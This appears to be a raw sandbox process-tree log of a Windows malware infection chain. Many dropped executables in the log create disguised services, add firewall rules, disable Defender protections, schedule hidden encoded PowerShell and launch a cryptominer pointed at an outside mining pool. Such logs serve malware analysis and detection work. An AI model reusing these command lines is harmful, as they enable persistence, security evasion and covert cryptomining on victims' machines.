C:\Users\Admin\Pictures\Adobe Films\lebDOe8XzRzyL777tFxBFHsX.exe"C:\Users\Admin\Pictures\Adobe Films\lebDOe8XzRzyL777tFxBFHsX.exe"6⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"7⤵
-
-
-
C:\Users\Admin\Pictures\Adobe Films\GnT64bIvywhZ1NfPRy4SCSJF.exe"C:\Users\Admin\Pictures\Adobe Films\GnT64bIvywhZ1NfPRy4SCSJF.exe"6⤵
-
-
C:\Users\Admin\Pictures\Adobe Films\CfsRnlOKFRfE10mPBth9Zeop.exe"C:\Users\Admin\Pictures\Adobe Films\CfsRnlOKFRfE10mPBth9Zeop.exe"6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\eyyczsmv\7⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\tvyjeyno.exe" C:\Windows\SysWOW64\eyyczsmv\7⤵
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" create eyyczsmv binPath= "C:\Windows\SysWOW64\eyyczsmv\tvyjeyno.exe /d\"C:\Users\Admin\Pictures\Adobe Films\CfsRnlOKFRfE10mPBth9Zeop.exe\"" type= own start= auto DisplayName= "wifi support"7⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" description eyyczsmv "wifi internet conection"7⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" start eyyczsmv7⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul7⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2960 -s 11527⤵
- Program crash
-
-
-
C:\Users\Admin\Pictures\Adobe Films\3t9KE6yPtiCt5MxFa9aXMfK8.exe"C:\Users\Admin\Pictures\Adobe Films\3t9KE6yPtiCt5MxFa9aXMfK8.exe"6⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"7⤵
-
-
-
C:\Users\Admin\Pictures\Adobe Films\j0L4Nrs_9zThJhYCQkbzF9qG.exe"C:\Users\Admin\Pictures\Adobe Films\j0L4Nrs_9zThJhYCQkbzF9qG.exe"6⤵
-
C:\Windows\SysWOW64\choice.exechoice 34898347856377884844365743747563678475837⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c cmd < Breaks.mil & ping -n 5 localhost7⤵
-
C:\Windows\SysWOW64\cmd.execmd8⤵
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\wXmop81cga548LP5g1__BRLe.exe"C:\Users\Admin\Pictures\Adobe Films\wXmop81cga548LP5g1__BRLe.exe"6⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /y .\5JFb8Zv.P47⤵
-
-
-
C:\Users\Admin\Pictures\Adobe Films\18HC6VR22iTFTNmn41RFe4Ug.exe"C:\Users\Admin\Pictures\Adobe Films\18HC6VR22iTFTNmn41RFe4Ug.exe"6⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"7⤵
-
-
-
C:\Users\Admin\Pictures\Adobe Films\FprKFWvQBxB09r4mqv74D3II.exe"C:\Users\Admin\Pictures\Adobe Films\FprKFWvQBxB09r4mqv74D3II.exe"6⤵
-
-
C:\Users\Admin\Pictures\Adobe Films\4HJ4BsZePrTLPxmJ88z61Gyl.exe"C:\Users\Admin\Pictures\Adobe Films\4HJ4BsZePrTLPxmJ88z61Gyl.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\4HJ4BsZePrTLPxmJ88z61Gyl.exe"C:\Users\Admin\Pictures\Adobe Films\4HJ4BsZePrTLPxmJ88z61Gyl.exe" -q7⤵
-
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2208 -s 5564⤵
- Program crash
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon06b908ce9c.exe4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon061955db94a2805.exe /mixone4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon06a340828b11750b.exe4⤵
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon06295419f3.exe4⤵
- Suspicious use of WriteProcessMemory
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS4E6A0EA6\Mon06295419f3.exeMon06295419f3.exe1⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\Pictures\Adobe Films\R1eCa6NRN2pjBsUsSppnKDAJ.exe"C:\Users\Admin\Pictures\Adobe Films\R1eCa6NRN2pjBsUsSppnKDAJ.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
-
-
-
C:\Users\Admin\Pictures\Adobe Films\o5Y3GOhSFoz2H5EamvyQq0ML.exe"C:\Users\Admin\Pictures\Adobe Films\o5Y3GOhSFoz2H5EamvyQq0ML.exe"2⤵
-
C:\Users\Admin\Pictures\Adobe Films\o5Y3GOhSFoz2H5EamvyQq0ML.exe"C:\Users\Admin\Pictures\Adobe Films\o5Y3GOhSFoz2H5EamvyQq0ML.exe" -q3⤵
-
-
-
C:\Users\Admin\Pictures\Adobe Films\8ozhxicTqurPWEHFTJzB7rwP.exe"C:\Users\Admin\Pictures\Adobe Films\8ozhxicTqurPWEHFTJzB7rwP.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\mggkhaud\3⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\wvuvwgil.exe" C:\Windows\SysWOW64\mggkhaud\3⤵
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" create mggkhaud binPath= "C:\Windows\SysWOW64\mggkhaud\wvuvwgil.exe /d\"C:\Users\Admin\Pictures\Adobe Films\8ozhxicTqurPWEHFTJzB7rwP.exe\"" type= own start= auto DisplayName= "wifi support"3⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" description mggkhaud "wifi internet conection"3⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" start mggkhaud3⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul3⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3036 -s 10403⤵
- Program crash
-
-
C:\Users\Admin\knwhhdda.exe"C:\Users\Admin\knwhhdda.exe" /d"C:\Users\Admin\Pictures\Adobe Films\8ozhxicTqurPWEHFTJzB7rwP.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qgmtykod.exe" C:\Windows\SysWOW64\eyyczsmv\4⤵
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" config eyyczsmv binPath= "C:\Windows\SysWOW64\eyyczsmv\qgmtykod.exe /d\"C:\Users\Admin\knwhhdda.exe\""4⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" start eyyczsmv4⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8178.bat" "4⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7024 -s 10364⤵
- Program crash
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\zbCLJI1R4BPoHsCqQeE04acJ.exe"C:\Users\Admin\Pictures\Adobe Films\zbCLJI1R4BPoHsCqQeE04acJ.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
-
-
-
C:\Users\Admin\Pictures\Adobe Films\jFeQQgzOTeXN9KwcG8dKFSz4.exe"C:\Users\Admin\Pictures\Adobe Films\jFeQQgzOTeXN9KwcG8dKFSz4.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\is-I15CB.tmp\is-32PQ4.tmp"C:\Users\Admin\AppData\Local\Temp\is-I15CB.tmp\is-32PQ4.tmp" /SL4 $20258 "C:\Users\Admin\Pictures\Adobe Films\jFeQQgzOTeXN9KwcG8dKFSz4.exe" 2297641 527363⤵
-
-
-
C:\Users\Admin\Pictures\Adobe Films\MHLYgoiZAn6nxDeojw4DGXOx.exe"C:\Users\Admin\Pictures\Adobe Films\MHLYgoiZAn6nxDeojw4DGXOx.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"3⤵
-
-
-
C:\Users\Admin\Pictures\Adobe Films\6AFKaa_VeFdYcOrrbgHqtCEV.exe"C:\Users\Admin\Pictures\Adobe Films\6AFKaa_VeFdYcOrrbgHqtCEV.exe"2⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /y .\5JFb8Zv.P43⤵
-
-
-
C:\Users\Admin\Pictures\Adobe Films\OlkuPPK7FESNkUHvClMz1_Ua.exe"C:\Users\Admin\Pictures\Adobe Films\OlkuPPK7FESNkUHvClMz1_Ua.exe"2⤵
-
-
C:\Users\Admin\Pictures\Adobe Films\AoLWm3mM6p8uIZmJtgiI8sy6.exe"C:\Users\Admin\Pictures\Adobe Films\AoLWm3mM6p8uIZmJtgiI8sy6.exe"2⤵
-
-
C:\Users\Admin\Pictures\Adobe Films\5569Y04h3RR3CI3okFuulUqt.exe"C:\Users\Admin\Pictures\Adobe Films\5569Y04h3RR3CI3okFuulUqt.exe"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST3⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST3⤵
- Creates scheduled task(s)
-
-
C:\Users\Admin\Documents\8leD3M9UObphdvoT3KTr7INy.exe"C:\Users\Admin\Documents\8leD3M9UObphdvoT3KTr7INy.exe"3⤵
-
C:\Users\Admin\Pictures\Adobe Films\_1zqi3SjLzdq8dak72qAMjOA.exe"C:\Users\Admin\Pictures\Adobe Films\_1zqi3SjLzdq8dak72qAMjOA.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-L07KB.tmp\is-8G8L7.tmp"C:\Users\Admin\AppData\Local\Temp\is-L07KB.tmp\is-8G8L7.tmp" /SL4 $1A0022 "C:\Users\Admin\Pictures\Adobe Films\_1zqi3SjLzdq8dak72qAMjOA.exe" 2297641 527365⤵
-
-
-
C:\Users\Admin\Pictures\Adobe Films\wLBpj1M06ug2tfHBHq8VgBxb.exe"C:\Users\Admin\Pictures\Adobe Films\wLBpj1M06ug2tfHBHq8VgBxb.exe"4⤵
-
-
C:\Users\Admin\Pictures\Adobe Films\8VhoUxOc0sDf3oQJ7398E84P.exe"C:\Users\Admin\Pictures\Adobe Films\8VhoUxOc0sDf3oQJ7398E84P.exe"4⤵
-
C:\Windows\SysWOW64\at.exeat 3874982763784yhwgdfg78234789s42809374918uf5⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c cmd < Florist.hopp & ping -n 5 localhost5⤵
-
C:\Windows\SysWOW64\cmd.execmd6⤵
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\GnFA6836pVyN_0YH77TaTjoj.exe"C:\Users\Admin\Pictures\Adobe Films\GnFA6836pVyN_0YH77TaTjoj.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP006.TMP\STOREM~2.EXEC:\Users\Admin\AppData\Local\Temp\IXP006.TMP\STOREM~2.EXE5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA1AA==6⤵
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\VApx5TFk0ByDfIhL5X_RuYf5.exe"C:\Users\Admin\Pictures\Adobe Films\VApx5TFk0ByDfIhL5X_RuYf5.exe" /SP-/VERYSILENT /SUPPRESSMSGBOXES /INSTALLERSHOWNELSEWHERE /pid=7474⤵
-
C:\Users\Admin\AppData\Local\Temp\is-10738.tmp\VApx5TFk0ByDfIhL5X_RuYf5.tmp"C:\Users\Admin\AppData\Local\Temp\is-10738.tmp\VApx5TFk0ByDfIhL5X_RuYf5.tmp" /SL5="$30352,11860388,791040,C:\Users\Admin\Pictures\Adobe Films\VApx5TFk0ByDfIhL5X_RuYf5.exe" /SP-/VERYSILENT /SUPPRESSMSGBOXES /INSTALLERSHOWNELSEWHERE /pid=7475⤵
-
-
-
C:\Users\Admin\Pictures\Adobe Films\0rgrorlpNNy2cjsqixw9Pe0x.exe"C:\Users\Admin\Pictures\Adobe Films\0rgrorlpNNy2cjsqixw9Pe0x.exe"4⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"5⤵
-
-
-
C:\Users\Admin\Pictures\Adobe Films\Ts2xHsYn1T0OxCg8FrD_uvXa.exe"C:\Users\Admin\Pictures\Adobe Films\Ts2xHsYn1T0OxCg8FrD_uvXa.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-7HNGV.tmp\Ts2xHsYn1T0OxCg8FrD_uvXa.tmp"C:\Users\Admin\AppData\Local\Temp\is-7HNGV.tmp\Ts2xHsYn1T0OxCg8FrD_uvXa.tmp" /SL5="$30290,254182,170496,C:\Users\Admin\Pictures\Adobe Films\Ts2xHsYn1T0OxCg8FrD_uvXa.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\is-AS3QE.tmp\PowerOff.exe"C:\Users\Admin\AppData\Local\Temp\is-AS3QE.tmp\PowerOff.exe" /S /UID=956⤵
-
C:\Users\Admin\AppData\Local\Temp\ad-7974b-5ed-9ec82-cd67e61b6937b\Mamyrogylae.exe"C:\Users\Admin\AppData\Local\Temp\ad-7974b-5ed-9ec82-cd67e61b6937b\Mamyrogylae.exe"7⤵
-
-
C:\Users\Admin\AppData\Local\Temp\88-81c64-761-cc1b1-dee199e4c4460\Faegaxozhiqu.exe"C:\Users\Admin\AppData\Local\Temp\88-81c64-761-cc1b1-dee199e4c4460\Faegaxozhiqu.exe"7⤵
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\JWyswIsZlDYpr9JAMzWFEd06.exe"C:\Users\Admin\Pictures\Adobe Films\JWyswIsZlDYpr9JAMzWFEd06.exe"4⤵
-
C:\Windows\SysWOW64\choice.exechoice 34898347856377884844365743747563678475835⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c cmd < Breaks.mil & ping -n 5 localhost5⤵
-
C:\Windows\SysWOW64\cmd.execmd6⤵
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\HKaoKjwwWjp67KuUjS9Cazfh.exe"C:\Users\Admin\Pictures\Adobe Films\HKaoKjwwWjp67KuUjS9Cazfh.exe"4⤵
-
-
C:\Users\Admin\Pictures\Adobe Films\hRm9mOpsUiBsuSXziudeH8UV.exe"C:\Users\Admin\Pictures\Adobe Films\hRm9mOpsUiBsuSXziudeH8UV.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS8CCA.tmp\Install.exe.\Install.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSB3EA.tmp\Install.exe.\Install.exe /S /site_id "525403"6⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"7⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&8⤵
-
-
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"7⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&8⤵
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "giecXhmPS" /SC once /ST 00:07:38 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="7⤵
- Creates scheduled task(s)
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\3eIkdXLlgAujWYXtX2SW3x08.exe"C:\Users\Admin\Pictures\Adobe Films\3eIkdXLlgAujWYXtX2SW3x08.exe"4⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9776 -s 3405⤵
- Program crash
-
-
-
C:\Users\Admin\Pictures\Adobe Films\M1qbjBGcHRXV0U7QPFoG5Ish.exe"C:\Users\Admin\Pictures\Adobe Films\M1qbjBGcHRXV0U7QPFoG5Ish.exe"4⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /y .\5JFb8Zv.P45⤵
-
-
-
C:\Users\Admin\Pictures\Adobe Films\JpQeCGb8Ys2X9UjvY4T6laUG.exe"C:\Users\Admin\Pictures\Adobe Films\JpQeCGb8Ys2X9UjvY4T6laUG.exe"4⤵
-
-
C:\Users\Admin\Pictures\Adobe Films\7RcvjiZES39SGvBHynR9el9W.exe"C:\Users\Admin\Pictures\Adobe Films\7RcvjiZES39SGvBHynR9el9W.exe"4⤵
-
-
C:\Users\Admin\Pictures\Adobe Films\WEmSJyRuYAc3ioRLg5hSzTe9.exe"C:\Users\Admin\Pictures\Adobe Films\WEmSJyRuYAc3ioRLg5hSzTe9.exe"4⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10132 -s 2725⤵
- Program crash
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\m3hzeZHxj2XffIVcDWZoGfAt.exe"C:\Users\Admin\Pictures\Adobe Films\m3hzeZHxj2XffIVcDWZoGfAt.exe"2⤵
-
-
C:\Users\Admin\Pictures\Adobe Films\vavAPshhd586zG1eALgF1fRS.exe"C:\Users\Admin\Pictures\Adobe Films\vavAPshhd586zG1eALgF1fRS.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
-
-
-
C:\Users\Admin\Pictures\Adobe Films\I8SVuxvJ7AWbelQb4JjU1097.exe"C:\Users\Admin\Pictures\Adobe Films\I8SVuxvJ7AWbelQb4JjU1097.exe"2⤵
-
-
C:\Users\Admin\Pictures\Adobe Films\4Jr_pP7d8gkM_ktgQafrNATl.exe"C:\Users\Admin\Pictures\Adobe Films\4Jr_pP7d8gkM_ktgQafrNATl.exe"2⤵
-
C:\Windows\SysWOW64\choice.exechoice 34898347856377884844365743747563678475833⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c cmd < Breaks.mil & ping -n 5 localhost3⤵
-
C:\Windows\SysWOW64\cmd.execmd4⤵
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\K8qw8wOVFpoF2B64B6b5Ejy8.exe"C:\Users\Admin\Pictures\Adobe Films\K8qw8wOVFpoF2B64B6b5Ejy8.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\7zS4E6A0EA6\Mon06a340828b11750b.exeMon06a340828b11750b.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-G3SLN.tmp\Mon06a340828b11750b.tmp"C:\Users\Admin\AppData\Local\Temp\is-G3SLN.tmp\Mon06a340828b11750b.tmp" /SL5="$8016E,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS4E6A0EA6\Mon06a340828b11750b.exe"2⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zS4E6A0EA6\Mon06a340828b11750b.exe"C:\Users\Admin\AppData\Local\Temp\7zS4E6A0EA6\Mon06a340828b11750b.exe" /SILENT3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-N2DVV.tmp\Mon06a340828b11750b.tmp"C:\Users\Admin\AppData\Local\Temp\is-N2DVV.tmp\Mon06a340828b11750b.tmp" /SL5="$1E01CA,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS4E6A0EA6\Mon06a340828b11750b.exe" /SILENT4⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS4E6A0EA6\Mon06b908ce9c.exeMon06b908ce9c.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7zS4E6A0EA6\Mon06b908ce9c.exeC:\Users\Admin\AppData\Local\Temp\7zS4E6A0EA6\Mon06b908ce9c.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 2208 -ip 22081⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS4E6A0EA6\Mon061955db94a2805.exeMon061955db94a2805.exe /mixone1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3436 -s 6202⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3436 -s 6562⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3436 -s 6442⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3436 -s 7802⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3436 -s 7522⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3436 -s 8522⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3436 -s 10642⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3436 -s 10722⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3436 -s 13202⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 3436 -ip 34361⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /C COPY /Y "C:\Users\Admin\AppData\Local\Temp\MN9RL3Hp4HY1J.eXe" MN9RL3Hp4HY1J.eXe && STaRt MN9RL3HP4hY1J.exE -Ptq97Aj9Q6V6FvRT8EVd & IF "-Ptq97Aj9Q6V6FvRT8EVd " =="" for %e IN ( "C:\Users\Admin\AppData\Local\Temp\MN9RL3Hp4HY1J.eXe" ) do taskkill -Im "%~nxe" -F1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 3436 -ip 34361⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 396 -p 3436 -ip 34361⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 3436 -ip 34361⤵
-
C:\Windows\System32\sihclient.exeC:\Windows\System32\sihclient.exe /cv MM+y3UvI4UuJKh5DqTM02Q.0.21⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 3436 -ip 34361⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 3436 -ip 34361⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 3436 -ip 34361⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3436 -ip 34361⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 3436 -ip 34361⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 2960 -ip 29601⤵
-
C:\Windows\SysWOW64\eyyczsmv\tvyjeyno.exeC:\Windows\SysWOW64\eyyczsmv\tvyjeyno.exe /d"C:\Users\Admin\Pictures\Adobe Films\CfsRnlOKFRfE10mPBth9Zeop.exe"1⤵
-
C:\Windows\SysWOW64\svchost.exesvchost.exe2⤵
-
C:\Windows\SysWOW64\svchost.exesvchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half3⤵
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5684 -s 5602⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 3036 -ip 30361⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8044 -s 6003⤵
- Program crash
-
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3244 -s 6003⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 8044 -ip 80441⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 3244 -ip 32441⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 672 -p 5684 -ip 56841⤵
-
